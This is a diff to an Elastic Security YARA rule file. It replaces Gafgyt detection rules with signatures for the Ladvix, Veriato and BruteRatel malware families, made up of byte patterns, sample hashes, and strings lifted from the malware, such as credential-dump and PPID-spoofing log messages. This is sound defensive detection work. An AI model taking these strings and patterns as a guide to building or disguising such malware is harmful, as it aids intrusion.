-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Linux Trojan Ladvix (Linux.Trojan.Ladvix)"
 		author = "Elastic Security"
-		id = "28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd"
+		id = "db41f9d2-aa5c-4d26-b8ba-cece44eddca8"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L21-L38"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "04bbc6c40cdd71b4185222a822d18b96ec8427006221f213a1c9e4d9c689ce5c"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Ladvix.yar#L1-L18"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "81642b4ff1b6488098f019c5e992fc942916bc6eb593006cf91e878ac41509d6"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead"
+		fingerprint = "d0aaa680e81f44cc555bf7799d33fce66f172563788afb2ad0fb16d3e460e8c6"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -101424,28 +105837,28 @@ rule ELASTIC_Linux_Trojan_Gafgyt_28A2Fe0C : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F }
+		$a = { C0 49 89 C4 74 45 45 85 ED 7E 26 48 89 C3 41 8D 45 FF 4D 8D 7C }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_Eb96Cc26 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Ladvix_77D184Fd : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Linux Trojan Ladvix (Linux.Trojan.Ladvix)"
 		author = "Elastic Security"
-		id = "eb96cc26-e6d6-4388-a5da-2501e6e2ea32"
+		id = "77d184fd-a15e-40e5-ac7e-0d914cc009fe"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L40-L58"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "440318179ba2419cfa34ea199b49ee6bdecd076883d26329bbca6dca9d39c500"
-		logic_hash = "3d8740a6cca4856a73ea745877a3eb39cbf3ad4ca612daabd197f551116efa04"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Ladvix.yar#L20-L38"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1bb44b567b3c82f7ee0e08b16f7326d1af57efe77d608a96b2df43aab5faa9f7"
+		logic_hash = "0ae9c41d3eb7964344f71b9708278a0e83776228e4455cf0ad7c08e288305203"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "73967a3499d5dce61735aa2d352c1db48bb1d965b2934bb924209d729b5eb162"
+		fingerprint = "21361ca7c26c98903626d1167747c6fd11a5ae0d6298d2ef86430ce5be0ecd1a"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -101453,28 +105866,28 @@ rule ELASTIC_Linux_Trojan_Gafgyt_Eb96Cc26 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 49 6E 66 6F 3A 20 0A 00 5E 6A 02 5F 6A 01 58 0F 05 6A 7F 5F }
+		$a = { 40 10 48 89 45 80 8B 85 64 FF FF FF 48 89 E2 48 89 D3 48 63 D0 48 83 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_5008Aee6 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Ladvix_C9888Edb : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Linux Trojan Ladvix (Linux.Trojan.Ladvix)"
 		author = "Elastic Security"
-		id = "5008aee6-3866-4f0a-89bf-bde740baee5c"
+		id = "c9888edb-0f82-4c7a-b501-4e4d3c9c64e3"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L60-L78"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b32cd71fcfda0a2fcddad49d8c5ba8d4d68867b2ff2cb3b49d1a0e358346620c"
-		logic_hash = "538bae17dcf0298e379f656e1dba794b75af6c7448a23253a51994bde9d30524"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Ladvix.yar#L40-L58"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1d798e9f15645de89d73e2c9d142189d2eaf81f94ecf247876b0b865be081dca"
+		logic_hash = "608f2340b0ee4b843933d8137aa0908583a6de477e6c472fb4bd2e5bb62dfb80"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "6876a6c1333993c4349e459d4d13c11be1b0f78311274c0f778e65d0fabeeaa7"
+		fingerprint = "e0e0d75a6de7a11b2391f4a8610a6d7c385df64d43fa1741d7fe14b279e1a29a"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -101482,314 +105895,365 @@ rule ELASTIC_Linux_Trojan_Gafgyt_5008Aee6 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 50 16 B4 87 58 83 00 21 84 51 FD 13 4E 79 28 57 C3 8B 30 55 }
+		$a = { E8 01 83 45 E4 01 8B 45 E4 83 F8 57 76 B5 83 45 EC 01 8B 45 EC 48 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_6321B565 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Ladvix_81Fccd74 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Linux Trojan Ladvix (Linux.Trojan.Ladvix)"
 		author = "Elastic Security"
-		id = "6321b565-ed25-4bf2-be4f-3ffa0e643085"
-		date = "2021-01-12"
+		id = "81fccd74-465d-4f2e-b879-987bc47828dd"
+		date = "2021-06-28"
 		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L80-L98"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "cd48addd392e7912ab15a5464c710055f696990fab564f29f13121e7a5e93730"
-		logic_hash = "ad5c73ab68059101acf2fd8cfb3d676fd1ff58811e1c4b9008c291361ee951b8"
+		reference = "2a183f613fca5ec30dfd82c9abf72ab88a2c57d2dd6f6483375913f81aa1c5af"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Ladvix.yar#L60-L78"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "18f7ca953d22f02c1dbf03595a19b66ea582d2c1623f0042dcf15f86556ca41e"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "c1d286e82426cbf19fc52836ef9a6b88c1f6e144967f43760df93cf1ab497d07"
-		severity = 100
+		fingerprint = "0e983107f38a6b2a739a44ab4d37c35c5a7d8217713b280a1786511089084a95"
+		severity = "100"
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { D8 89 D0 01 C0 01 D0 C1 E0 03 8B 04 08 83 E0 1F 0F AB 84 9D 58 FF }
+		$a = { 45 EA 00 00 48 8D 45 EA 48 8B 55 F0 0F B6 12 88 10 0F B7 45 EA 0F }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_A6A2Adb9 : FILE MEMORY
+rule ELASTIC_Windows_PUP_Veriato_Fae5978C : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Windows Pup Veriato (Windows.PUP.Veriato)"
 		author = "Elastic Security"
-		id = "a6a2adb9-9d54-42d4-abed-5b30d8062e97"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "fae5978c-f26c-4215-9407-d16e492ab5c1"
+		date = "2022-06-08"
+		modified = "2022-09-29"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L100-L118"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df"
-		logic_hash = "8f5fc4cb1ad51178701509a44a793e119fe7e7fad97eafcac8be14fce64e3b7b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_PUP_Veriato.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "53f09e60b188e67cdbf28bda669728a1f83d47b0279debf3d0a8d5176479d17f"
+		logic_hash = "8ae6f8b2b6e3849b33e6a477af52982efe137d7ebeff0c92cee5667d75f05145"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "cdd0bb9ce40a000bb86b0c76616fe71fb7dbb87a044ddd778b7a07fdf804b877"
+		fingerprint = "8d351cdd11d6dddc76cd89e7de9e65b28ef5c8183db804b2a450095e2f3214e5"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { CC 01 C2 89 55 B4 8B 45 B4 C9 C3 55 48 89 E5 48 81 EC 90 00 }
+		$s1 = "InitializeDll" fullword
+		$a1 = "C:\\Windows\\winipbin\\svrltmgr.dll" fullword
+		$a2 = "C:\\Windows\\winipbin\\svrltmgr64.dll" fullword
 
 	condition:
-		all of them
+		$s1 and ($a1 or $a2)
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_C573932B : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Bruteratel_1916686D : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Windows Trojan Bruteratel (Windows.Trojan.BruteRatel)"
 		author = "Elastic Security"
-		id = "c573932b-9b3f-4ab7-a6b6-32dcc7473790"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "1916686d-4821-4e5a-8290-58336d01997f"
+		date = "2022-06-23"
+		modified = "2022-12-01"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L120-L138"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "4c6aeaa6f6a0c40a3f4116a2e19e669188a8b1678a8930350889da1bab531c68"
-		logic_hash = "174a3fcebc1e17cc35ddc11fde1798164b5783fc51fdf16581a9690c3b4d6549"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_BruteRatel.yar#L1-L31"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "e0e7b8ba2865fc76845b21aa3e075ceab98888635a60bd722c0c81e0f4fcf58c"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "18a3025ebb8af46605970ee8d7d18214854b86200001d576553e102cb71df266"
+		fingerprint = "86304082d3eda2f160465f0af0a3feae1aa9695727520e51f139d951e50d6efc"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 83 7D 18 00 74 22 8B 45 1C 83 E0 02 85 C0 74 18 83 EC 08 6A 2D FF }
+		$a1 = "[+] Spoofed PPID => %lu" wide fullword
+		$a2 = "[-] Child process not set" wide fullword
+		$a3 = "[+] Crisis Monitor: Already Running" wide fullword
+		$a4 = "[+] Screenshot downloaded: %S" wide fullword
+		$a5 = "s[-] Duplicate listener: %S" wide fullword
+		$a6 = "%02d%02d%d_%02d%02d%2d%02d.png" wide fullword
+		$a7 = "[+] Added Socks Profile" wide fullword
+		$a8 = "[+] Dump Size: %d Mb" wide fullword
+		$a9 = "[+] Enumerating PID: %lu [%ls]" wide fullword
+		$a10 = "[+] Dump Size: %d Mb" wide fullword
+		$a11 = "[+] SAM key: " wide fullword
+		$a12 = "[+] Token removed: '%ls'" wide fullword
+		$a13 = "[Tasks] %02d => 0x%02X 0x%02X" wide fullword
+		$b1 = { 48 83 EC ?? 48 8D 35 ?? ?? ?? ?? 4C 63 E2 31 D2 48 8D 7C 24 ?? 48 89 CB 4D 89 E0 4C 89 E5 E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? F3 A4 31 F6 BF ?? ?? ?? ?? 39 F5 7E ?? E8 ?? ?? ?? ?? 99 F7 FF 48 63 D2 8A 44 14 ?? 88 04 33 48 FF C6 EB ?? }
 
 	condition:
-		all of them
+		4 of ($a*) or 1 of ($b*)
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_A10161Ce : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Bruteratel_9B267F96 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Windows Trojan Bruteratel (Windows.Trojan.BruteRatel)"
 		author = "Elastic Security"
-		id = "a10161ce-62e0-4f60-9de7-bd8caf8618be"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "9b267f96-11b3-48e6-9d38-ecfd72cb7e3e"
+		date = "2022-06-23"
+		modified = "2022-07-18"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L140-L157"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "12ba13a746300d1ab1d0386b86ec224eebf4e6d0b3688495c2fee6a7eccc361d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_BruteRatel.yar#L33-L57"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "fbaaf4bf2462119b39a5df90b91fb831be3e602b926cd893374a5dddf48f029d"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "77e89011a67a539954358118d41ad3dabde0e69bac2bbb2b2da18eaad427d935"
+		fingerprint = "f20cbaf39dc68460a2612298a5df9efdf5bdb152159d38f4696aedf35862bbb6"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 45 B0 8B 45 BC 48 63 D0 48 89 D0 48 C1 E0 02 48 8D 14 10 48 8B }
+		$a1 = "calAllocPH" ascii fullword
+		$a2 = "lizeCritPH" ascii fullword
+		$a3 = "BadgerPH" ascii fullword
+		$a4 = "VirtualPPH" ascii fullword
+		$a5 = "TerminatPH" ascii fullword
+		$a6 = "ickCountPH" ascii fullword
+		$a7 = "SeDebugPH" ascii fullword
+		$b1 = { 50 48 B8 E2 6A 15 64 56 22 0D 7E 50 48 B8 18 2C 05 7F BB 78 D7 27 50 48 B8 C9 EC BC 3D 84 54 9A 62 50 48 B8 A1 E1 3C 4E AF 2B F6 B1 50 48 B8 2E E6 7B A0 94 CA 9D F0 50 48 B8 61 52 80 AA 1A B6 4B 0E 50 48 B8 B2 13 11 5A 28 81 ED 60 50 48 B8 20 DE A9 34 89 08 C8 32 50 48 B8 9B DC C1 FF 79 CE 5B F5 50 48 B8 FD 57 3F 4C C7 D3 7A 21 50 48 B8 70 B8 63 0F AB 19 BF 1C 50 48 B8 48 F2 1B 72 1E 2A C6 8A 50 48 B8 E3 FA 38 E9 1D 76 E0 6F 50 48 B8 97 AD 75 }
 
 	condition:
-		all of them
+		3 of ($a*) or 1 of ($b*)
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_Ae01D978 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Bruteratel_684A39F2 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Windows Trojan Bruteratel (Windows.Trojan.BruteRatel)"
 		author = "Elastic Security"
-		id = "ae01d978-d07d-4813-a22b-5d172c477d08"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "684a39f2-a110-4553-8d29-9f742e0ca3dc"
+		date = "2023-01-24"
+		modified = "2023-02-01"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L159-L176"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "c6c22b11dc1f0d4996e5da92c6edf58b7d21d7be40da87ddd39ed0e2d4c84072"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_BruteRatel.yar#L59-L84"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "5f4782a34368bb661f413f33e2d1fb9f237b7f9637f2c0c21dc752316b02350c"
+		logic_hash = "7cb74176e1dbdd248295649568d29c9d88841fcd0c16479b6b7efc71c4a1d706"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "2d937c6009cfd53e11af52482a7418546ae87b047deabcebf3759e257cd89ce1"
+		fingerprint = "fef288db141810b01f248a476368946c478a395b1709a982e2f740dd011c6328"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 00 00 2C 01 00 00 0E 00 00 00 18 03 00 7F E9 38 32 C9 4D 04 9A }
+		$seq1 = { 39 DA 0F 82 61 02 00 00 45 8D 48 14 44 39 CA 0F 82 54 02 00 00 41 8D 40 07 46 0F B6 0C 09 44 0F B6 1C 01 42 0F B6 04 11 41 C1 E3 08 41 09 C3 }
+		$seq2 = { 45 8A 44 13 F0 44 32 04 01 48 FF C0 45 88 04 13 48 FF C2 48 83 F8 04 75 E7 49 83 C2 04 48 83 C6 04 49 81 FA B0 00 00 00 75 AA 48 83 C4 38 5B 5E C3 }
+		$seq3 = { 48 83 EC 18 8A 01 88 04 24 8A 41 05 88 44 24 01 8A 41 0A 88 44 24 02 8A 41 0F 88 44 24 03 8A 41 04 88 44 24 04 8A 41 09 88 44 24 05 8A 41 0E 88 44 24 06 8A 41 03 88 44 24 07 }
+		$seq4 = { 42 8A 0C 22 8D 42 ?? 80 F9 ?? 75 ?? 48 98 4C 89 E9 48 29 C1 42 8A 14 20 80 FA ?? 74 ?? 88 14 01 48 FF C0 EB ?? }
+		$cfg1 = { 22 00 2C 00 22 00 61 00 72 00 63 00 68 00 22 00 3A 00 22 00 78 00 36 00 34 00 22 00 2C 00 22 00 62 00 6C 00 64 00 22 00 3A 00 22 00 }
+		$cfg2 = { 22 00 2C 00 22 00 77 00 76 00 65 00 72 00 22 00 3A 00 22 00 }
+		$cfg3 = { 22 00 2C 00 22 00 70 00 69 00 64 00 22 00 3A 00 22 00 }
+		$cfg4 = { 22 00 7D 00 2C 00 22 00 6D 00 74 00 64 00 74 00 22 00 3A 00 7B 00 22 00 68 00 5F 00 6E 00 61 00 6D 00 65 00 22 00 3A 00 22 00 }
 
 	condition:
-		all of them
+		any of ($seq*) and all of ($cfg*)
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_9E9530A7 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Bruteratel_Ade6C9D5 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Targets API hashes used by BruteRatel"
 		author = "Elastic Security"
-		id = "9e9530a7-ad4d-4a44-b764-437b7621052f"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "ade6c9d5-e9b5-4ef8-bacd-2f050c25f7f6"
+		date = "2023-01-24"
+		modified = "2023-02-01"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L178-L196"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961"
-		logic_hash = "6a5a80e58c86a80f8954e678a2cc26b258d7d7c50047a3e71f3580f1780e3454"
-		score = 75
-		quality = 75
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_BruteRatel.yar#L86-L109"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "dc9757c9aa3aff76d86f9f23a3d20a817e48ca3d7294307cc67477177af5c0d4"
+		logic_hash = "8ff8ed1e2b909606fe6aae3f43ad02898d7b3906c3d329a508f6d40490ec75a0"
+		score = 60
+		quality = 45
 		tags = "FILE, MEMORY"
-		fingerprint = "d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50"
+		fingerprint = "9a4c5660eeb9158652561cf120e91ea5887841ed71f69e7cf4bfe4cfb11fe74a"
+		threat_name = "Windows.Trojan.BruteRatel"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3 }
+		$c1_NtReadVirtualMemory = { AA A5 EF 3A }
+		$c2_NtQuerySystemInformation = { D6 CA E1 E4 }
+		$c3_NtCreateFile = { 9D 8F 88 03 }
+		$c4_RtlSetCurrentTranscation = { 90 85 A3 99 }
+		$c5_LoadLibrary = { 8E 4E 0E EC }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_5Bf62Ce4 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Bruteratel_4110D879 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Windows Trojan Bruteratel (Windows.Trojan.BruteRatel)"
 		author = "Elastic Security"
-		id = "5bf62ce4-619b-4d46-b221-c5bf552474bb"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "4110d879-8d36-4004-858d-e62400948920"
+		date = "2023-05-10"
+		modified = "2023-06-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L198-L216"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "4c6aeaa6f6a0c40a3f4116a2e19e669188a8b1678a8930350889da1bab531c68"
-		logic_hash = "848e0c796584cfa21afc182da5f417f5467ae84c74f52cabc13e0f5de4990232"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_BruteRatel.yar#L111-L130"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e0fbbc548fdb9da83a72ddc1040463e37ab6b8b544bf0d2b206bfff352175afe"
+		logic_hash = "22c27523ddd8183c41da40f7ff908ae5bdee3b482c8a3f70aaa63a4c419e515b"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "3ffc398303f7208e77c4fbdfb50ac896e531b7cee3be2fa820bc8d70cfb20af3"
+		fingerprint = "64d7a121961108d17e03fa767bd5bc194c8654dfa18b3b2f38cf6c95a711f794"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 89 E5 56 53 31 F6 8D 45 10 83 EC 10 89 45 F4 8B 55 F4 46 8D }
+		$a1 = { 04 01 75 E2 48 83 C0 01 44 0F B6 04 02 45 84 C0 75 EC 48 89 }
+		$a2 = { C8 48 83 E9 20 44 0F B6 40 E0 41 80 F8 E9 74 0B 44 0F B6 49 03 41 80 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_F3D83A74 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Bruteratel_5B12Cbab : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Windows Trojan Bruteratel (Windows.Trojan.BruteRatel)"
 		author = "Elastic Security"
-		id = "f3d83a74-2888-435a-9a3c-b7de25084e9a"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "5b12cbab-c64c-4895-a186-b940bf4a8620"
+		date = "2024-02-21"
+		modified = "2024-03-21"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L218-L236"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df"
-		logic_hash = "2db46180e66c9268a97d63cd1c4eb8439e6882b4e3277bc4848e940e4d25482f"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_BruteRatel.yar#L132-L150"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "8165798fec8294523f25aedfc6699faad0c5d75f60bc7cefcbb2fa13dbc656e3"
+		logic_hash = "b86296dafaef1dfa0a41704cafa351694abb0e453e104dfe06836ed599338f38"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "1c5df68501b688905484ed47dc588306828aa7c114644428e22e5021bb39bd4a"
+		fingerprint = "33e4c8fa032f33bec4719707d3ddcfa5103b747d9be70fa41848fdafd254c0ac"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { DC 00 74 1B 83 7D E0 0A 75 15 83 7D E4 00 79 0F C7 45 C8 01 00 }
+		$a = { 48 81 EC 00 01 00 00 31 C0 41 89 D3 48 89 E3 88 04 18 48 FF C0 48 3D 00 01 00 00 75 F2 45 31 D2 31 FF 44 89 D0 42 8A 34 13 99 41 F7 FB 48 63 D2 8A 04 11 01 F0 01 F8 0F B6 F8 0F B6 C0 8A 14 04 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_807911A2 : FILE MEMORY
